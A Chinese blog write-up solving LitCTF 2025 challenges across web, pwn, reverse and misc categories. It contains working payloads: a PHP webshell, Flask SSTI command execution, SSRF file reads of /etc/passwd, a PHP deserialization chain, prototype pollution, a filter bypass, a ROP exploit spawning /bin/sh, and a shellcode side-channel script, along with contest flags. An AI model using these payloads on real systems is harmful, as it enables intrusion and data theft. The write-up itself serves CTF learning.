# Web

# [LitCTF 2025]easy_file

​ 登录框弱密码爆破为 admin:password,之后跳转到文件上传点,只能上传头像,并且 php 被过滤,短标签绕过:

1
<?= system($_REQUEST['cmd']);?>

​ js 里面存在提示,说 file 查看头像,估计是可以文件包含。直接传:

1
/admin.php?file=uploads/a.jpg&cmd=tac f*

​ 进行 rce。

# [LitCTF 2025]nest_js

​ 登录框弱密码爆破还是 admin:password,登录直接得到 flag

# [LitCTF 2025] 星愿信箱

​ wappalyzer 插件看到是 flask 框架, 输入 asd 的时候回显 asd,可能是 ssti,输入 {%print(123)%} 成功输出 123,开始测试。

{{ }} 被过滤了,但是 {% %} 没有被过滤尝试下这个 payload,这个基础 payload 比较常规,甚至里面没有任何过滤:

1
{% print().__class__.__base__.__subclasses__()[n].__init__.__globals__['popen']("base64 /flag").read() %}

​ 把 __subclasses__()[n] 里的 n 用 burp 爆破,最好发现 137 读到 flag:

1
{% print().__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("base64 /flag").read() %}

# [LitCTF 2025]easy_signin

​ 扫后台,扫到了 login.html 访问是个登录页面,读源码发现了一个点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const secretKey = 'easy_signin';  
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});

​ 账号密码是 md5 加密的,burp 抓包登录,给 user 改成 admin 的 md5: 21232f297a57a5a743894a0e4a801fc3 ,然后爆破密码,记得密码也要 md5 加密,密码没结果,至少我字典没出来,那就换个思路,前面发现一个文件可以访问:

1
2
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script src="api.js"></script>

​ 这里 api.js 应该是服务器本地的,访问得到如下内容:

1
/api/sys/urlcode.php?url=

​ 正好扫目录的时候存在 /api,那么可以试试看这个能干啥:

1
/api/sys/urlcode.php?url=http://www.baidu.com

​ 可以进行 ssrf,成功访问到了百度,再回去看登录页源码:

1
2
3
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';

​ 这里发现登录成功则跳转 dashboard.php ,但是访问得到的是:

1
2
3
4
5
/api/sys/urlcode.php?url=http://127.0.0.1/dashboard.php


#结果:
看不见哦

​ 试图使用 php://filter 发现直接 禁止访问:不允许使用 php:// 协议 ,用 file 不会,试图访问下 /etc/passwd 成功访问到:

1
2
3
4
5
6
7
8
9
/api/sys/urlcode.php?url=file:///etc/passwd


root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync

​ 之后就是 dashboard.php ,用插件发现是 nginx 框架,推测目录是 /var/www/html

1
2
3
/api/sys/urlcode.php?url=file:///var/www/html/dashboard.php

看不见哦

​ emm,应该是这个文件的问题,换个 php 文件就能看到信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php 

<?php
error_reporting(0);

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_REQUEST['url'];
if($url){

$forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
$protocol_block = false;
foreach ($forbidden_protocols as $proto) {
if (strpos($url, $proto) === 0) {
$protocol_block = true;
break;
}
}
$log_block = strpos($url, '.log') !== false;

if ($protocol_block) {
echo "禁止访问:不允许使用 {$proto} 协议";
} elseif ($log_block) {
echo "禁止访问:URL 包含 .log";
} elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
echo "看不见哦";
} else {
echo "<b>".$url." 的快照如下:</b><br><br>";
echo "<pre>";
curl($url);
include($url);
echo "</pre>";
}
}
?>

​ 发现禁止访问: 327a6c4304ad5938eaf0efb6cc3e53dc.phpdashboard.php 。。。好气啊。

​ 这里直接访问下这个乱码一样的文件看看,拿到 flag:

1
NSSCTF{d1bec3ad-9f2a-426f-9794-aed548ec03db}

# [LitCTF 2025] 君の名は

​ 这个题我就贴个大佬的 payload 吧

​ 反序列化 pop 链的题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

​ 贴个生成 payload 的代码,注意,必须用 7.3.4 版本的 php 才能生成 C 开头的链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}

$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b;
$b->thread = $c;
$c->soul = $a;

$d = array("evil"=>$a);
$e = new ArrayObject($d);

echo urlencode(serialize($e));

?>

#C%3A11%3A%22ArrayObject%22%3A244%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

create_function 创建的匿名函数内部名称为 \000lambda_1 (PHP 内部命名规则,\000 是私有属性标识),执行 die( /readflag ) ;当然,如果执行这个之后失败了,重启容器并且不刷新页面直接执行 payload 看看,因为每一次刷新匿名函数名字都会变。

create_function 创建的匿名函数,在 PHP 内部会被命名为 lambda_数字 (第一个创建的是 lambda_1),且名称前缀带有 \000(私有属性标识),因此必须用 \000lambda_1 才能正确匹配。

​ 大概的链子是这样的:

Taki::__unserialize → Mitsuha::__invoke → KatawareDoki::__toString → Taki::__call → 匿名函数执行 /readflag

​ 最后一步 (new $args[0]($args[1]))->{$this->magic}(); 可以通过反射调用 \000lambda_1

​ 这个题就最后一步反射需要说下,最后一步到了那里的时候,其长相已经变成了:

1
new ReflectionFunction("\000lambda_1")->invoke();

​ 最后的 invoke 是进行执行的,加了才会正式调用。

# [LitCTF 2025] 多重宇宙日记

​ 提示是原型链污染,先注册个账号进去看看,直接进去看到了个直接提交 JSON 的点,访问源码看到了更新逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});
// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}

​ 在更新设置表单里随便输入内容,抓包发送发现发的包是 JSON 格式:

1
2
3
4
POST /api/profile/update HTTP/1.1
。。。。。。。

{"settings":{"theme":"15","language":"2"}}

​ 注释里有个提示,有个参数 isAdmin 可能有用,一般用户猜测这个参数为 false,那么改为 true 应该就能过了吧。

​ payload 如下,看了下大佬们的 wp,这个似乎是非预期。

1
2
3
4
POST /api/profile/update HTTP/1.1
。。。。。。。

{"settings":{"theme":"15","language":"2","isAdmin": true}}

​ 预期解应该是这个:

1
2
3
4
5
6
7
8
9
10
POST /api/profile/update HTTP/1.1
。。。。。。。

{
"settings": {
"__proto__": {
"isAdmin": true
}
}
}

# Pwn

# [LitCTF 2025]test_your_nc

​ 反编译附件好像编译不了,但是存在:

1
seg000:000000000000001A                 db 'print("input your command")',0Ah

​ 似乎是个 python 代码,用文本方式打开看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)

​ 就是正常过滤啊,Web 常考点,用 ca''t$IFS$9f* 可以读取到 flag。

# [LitCTF 2025]master_of_rop

​ 看看保护:

1
2
3
4
5
6
7
g01den@MSI:~$ checksec pwn
[*] '/home/g01den/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

​ 有 NX,反编译很简单:

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_BYTE v4[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Welcome to LitCTF2025!");
gets(v4, a2);
return 0LL;
}

​ 有 ld 和 libc 文件,打 ret2gets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = remote('node6.anna.nssctf.cn',29371)
# p = process('./pwn1')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

gets_plt = elf.plt['gets']
puts_plt = elf.plt['puts']
main = 0x4011AD

def debug():
attach(p, 'b *0x4011D9')

# debug()
p.recvuntil("Welcome to LitCTF2025!\n")
payload = b'a'*0x28 + p64(gets_plt) + p64(gets_plt)
payload += p64(puts_plt) + p64(main)
p.sendline(payload)

p.sendline(p32(0) + b"AAAA" + b"AAAAAAAA")
p.sendline(b"AAAA")
p.recv(8)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) + 0x28c0
success('libc_base:' + hex(libc_base))

pop_rdi = libc_base + 0x10f75b
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh\x00'))

p.recvuntil("Welcome to LitCTF2025!\n")
payload = b'a'*0x28 + p64(pop_rdi) + p64(binsh)
payload += p64(0x40101a) + p64(system)
p.sendline(payload)

p.interactive()

# [LitCTF 2025]shellcode

​ 看下保护:

1
2
3
4
5
6
7
g01den@MSI:~$ checksec pwn
[*] '/home/g01den/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

​ 有沙箱:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
g01den@MSI:~$ seccomp-tools dump ./pwn
Welcome LitCTF 2025
Please input your shellcode:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

​ 64 位,read 被 ban,只有 open,反编译看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap failed");
exit(1);
}
puts("Welcome LitCTF 2025");
puts("Please input your shellcode: ");
fflush(_bss_start);
init_sandbox();
read(0, buf, 0x100uLL);
((void (*)(void))buf)();
return 0;
}

​ 就是一个 shellcode 题,明说了写入 shellcode,但是不能 read,有 open 倒是可以行,可以读取 flag 文件到内存再考虑输出的事儿,但是好像不允许输出,这里有个文章说的是测信道爆破,就是把 flag 读到内存中,然后去爆破,并且给了个 shellcode 可以增加效率和准确性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context(arch='amd64',os='linux')
io=0
def find(i, c):
global io
io=remote("node6.anna.nssctf.cn",26324)
# io=process('./pwn')
io.recvuntil(b'Please input your shellcode: \n')
sc=asm("""
mov rax, 0
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.send(sc)

try:
io.recv(timeout=3)
io.close()
return True
except EOFError:
io.close()
return False

flag = ''
i=6
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1

if l==0:
break
print(l)
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1

info("flag: "+flag)

#{d80c8e83-f706-4ec1-a0df-b304de99a80d}
#最后flag : NSSCTF{d80c8e83-f706-4ec1-a0df-b304de99a80d}
  1. movabs rax, 0x67616C66 - 这是 "flag" 的 ASCII 码(小端序,实际在内存中是 "flag")
  2. push 0push rax - 将 "flag" 字符串压入栈中
  3. push rsppop rdi - 使 rdi 指向 "flag" 字符串的地址(作为文件名)
  4. mov rax, 2 - 设置为 open 系统调用(文件打开)
  5. syscall - 打开 "flag" 文件

接下来:

  1. mov rsi, rdi - 将文件描述符放入 rsi
  2. mov rdi, rax - 将文件描述符放入 rdi(作为 read 的文件描述符)
  3. mov rdx, 0x100 - 设置要读取的字节数为 256
  4. syscall - 读取文件内容(读到栈上,因为 rsi 被设置为栈指针)

最后:

  1. mov al, [rsp+{}] - 从栈中读取一个字节(文件内容的第一个字节)
  2. cmp al, {} - 与预设值比较
  3. jbe $ - 如果小于等于,则无限循环

# Re:

# [LitCTF 2025]easy_rc4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[9]; // [rsp+7h] [rbp-319h] BYREF
_QWORD v5[31]; // [rsp+10h] [rbp-310h] BYREF
int v6; // [rsp+108h] [rbp-218h]
__int16 v7; // [rsp+10Ch] [rbp-214h]
char v8; // [rsp+10Eh] [rbp-212h]
char s1[8]; // [rsp+110h] [rbp-210h] BYREF
__int64 v10; // [rsp+118h] [rbp-208h]
_BYTE v11[232]; // [rsp+120h] [rbp-200h] BYREF
int v12; // [rsp+208h] [rbp-118h]
__int16 v13; // [rsp+20Ch] [rbp-114h]
char v14; // [rsp+20Eh] [rbp-112h]
char s2[8]; // [rsp+210h] [rbp-110h] BYREF
__int64 v16; // [rsp+218h] [rbp-108h]
unsigned __int64 v17; // [rsp+220h] [rbp-100h]
unsigned __int64 v18; // [rsp+228h] [rbp-F8h]
__int64 v19; // [rsp+230h] [rbp-F0h]
__int64 v20; // [rsp+238h] [rbp-E8h]
_BYTE v21[200]; // [rsp+240h] [rbp-E0h] BYREF
int v22; // [rsp+308h] [rbp-18h]
__int16 v23; // [rsp+30Ch] [rbp-14h]
char v24; // [rsp+30Eh] [rbp-12h]
unsigned __int64 v25; // [rsp+318h] [rbp-8h]

v25 = __readfsqword(0x28u);
strcpy(v4, "FenKey!!");
puts(&s);
puts(&byte_2020);
puts("rrrrrcccc4444444!");
printf("you input flag:");
memset(v5, 0, sizeof(v5));
v6 = 0;
v7 = 0;
v8 = 0;
__isoc99_scanf("%s40", v5);
*(_QWORD *)s1 = 0LL;
v10 = 0LL;
memset(v11, 0, sizeof(v11));
v12 = 0;
v13 = 0;
v14 = 0;
*(_QWORD *)s2 = 0x4973F431134ECC78LL;
v16 = 0x7E35F4C0734F6C4FLL;
v17 = 0xEA7A60194D7627CELL;
v18 = 0xF61CDA8142C05D44LL;
v19 = 0x13F8FA94D9587264LL;
v20 = 0LL;
memset(v21, 0, sizeof(v21));
v22 = 0;
v23 = 0;
v24 = 0;
rc4_init(v4, 8LL, &S);
rc4_crypt(v5, s1, 40LL, &S);
if ( !strcmp(s1, s2) )
printf("flag is correct");
else
printf(&byte_2076);
return 0;
}

​ key:FenKey!!

​ 密文(小端序):

1
2
3
4
5
*(_QWORD *)s2 = 0x4973F431134ECC78LL;
v16 = 0x7E35F4C0734F6C4FLL;
v17 = 0xEA7A60194D7627CELL;
v18 = 0xF61CDA8142C05D44LL;
v19 = 0x13F8FA94D9587264LL;

​ 提取:

1
0x78 0xCC 0x4E 0x13 0x31 0xF4 0x73 0x49 0x4F 0x6C 0x4F 0x73 0xC0 0xF4 0x35 0x7E 0xCE 0x27 0x76 0x4D 0x19 0x60 0x7A 0xEA 0x44 0x5D 0xC0 0x42 0x81 0xDA 0x1C 0xF6 0x64 0x72 0x58 0xD9 0x94 0xFA 0xF8 0x13

​ 在 RC4 加密代码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall rc4_crypt(__int64 a1, __int64 a2, int a3, __int64 a4)
{
__int64 v4; // kr00_8
__int64 result; // rax
int v8; // [rsp+30h] [rbp-10h]
int v9; // [rsp+34h] [rbp-Ch]
unsigned int i; // [rsp+38h] [rbp-8h]

v8 = 0;
v9 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i >= a3 )
break;
v8 = (v8 + 1) % 256;
v4 = *(unsigned __int8 *)(v8 + a4) + v9;
v9 = (unsigned __int8)(HIBYTE(v4) + *(_BYTE *)(v8 + a4) + v9) - HIBYTE(HIDWORD(v4));
swap(v8 + a4, a4 + v9);
*(_BYTE *)((int)i + a2) = *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v8 + a4) + *(_BYTE *)(v9 + a4)) + a4) ^ *(_BYTE *)((int)i + a1) ^ 0x20;
}
return result;
}

​ 存在一个额外的异或操作,所以之后就好办了,密钥是 FenKey!!,密文的 hex 为:

0x78 0xCC 0x4E 0x13 0x31 0xF4 0x73 0x49 0x4F 0x6C 0x4F 0x73 0xC0 0xF4 0x35 0x7E 0xCE 0x27 0x76 0x4D 0x19 0x60 0x7A 0xEA 0x44 0x5D 0xC0 0x42 0x81 0xDA 0x1C 0xF6 0x64 0x72 0x58 0xD9 0x94 0xFA 0xF8 0x13

​ 进行 RC4 解密之后,对其进行对 0x20 的异或得到 flag:

LitCTF{71bb2a06417a5306ba297ddcfce7b1b0}

# Misc

# [LitCTF 2025] 灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

​ 项目 https://github.com/ProbiusOfficial/Lingicrypt,可以直接解密:

1
2
3
g01den@MSI:~$ python exp.py -d "灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦哇擦哇擦菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇菇菇哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇菇菇哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦哩哩哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇菇哩菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦哩哇擦哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩哩哩哇擦菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦菇菇哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦菇菇哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦菇哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦菇哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦菇菇哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哩哇擦哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦哩菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哩菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦菇菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哇擦菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦菇哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦哩菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦菇哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦菇菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哇擦哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦菇哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦菇菇菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦菇菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦菇菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦菇哩菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦菇哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦菇哩菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哩哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦菇菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦哩菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哩哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哩哇擦哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哩哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哇擦哩菇灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哩哇擦哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哩哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哇擦哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哩哇擦哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哇擦菇菇哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇菇哩哇擦哩哇擦灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩菇哩哇擦哩灵感菇🍄灵感菇🍄菇菇菇菇菇菇菇菇哩哩哩哇擦哇擦灵感菇🍄"
处理结果:
NSSCTF{88dd8af0-3efe-4d6c-9d92-f2a1fb25b72a}
更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝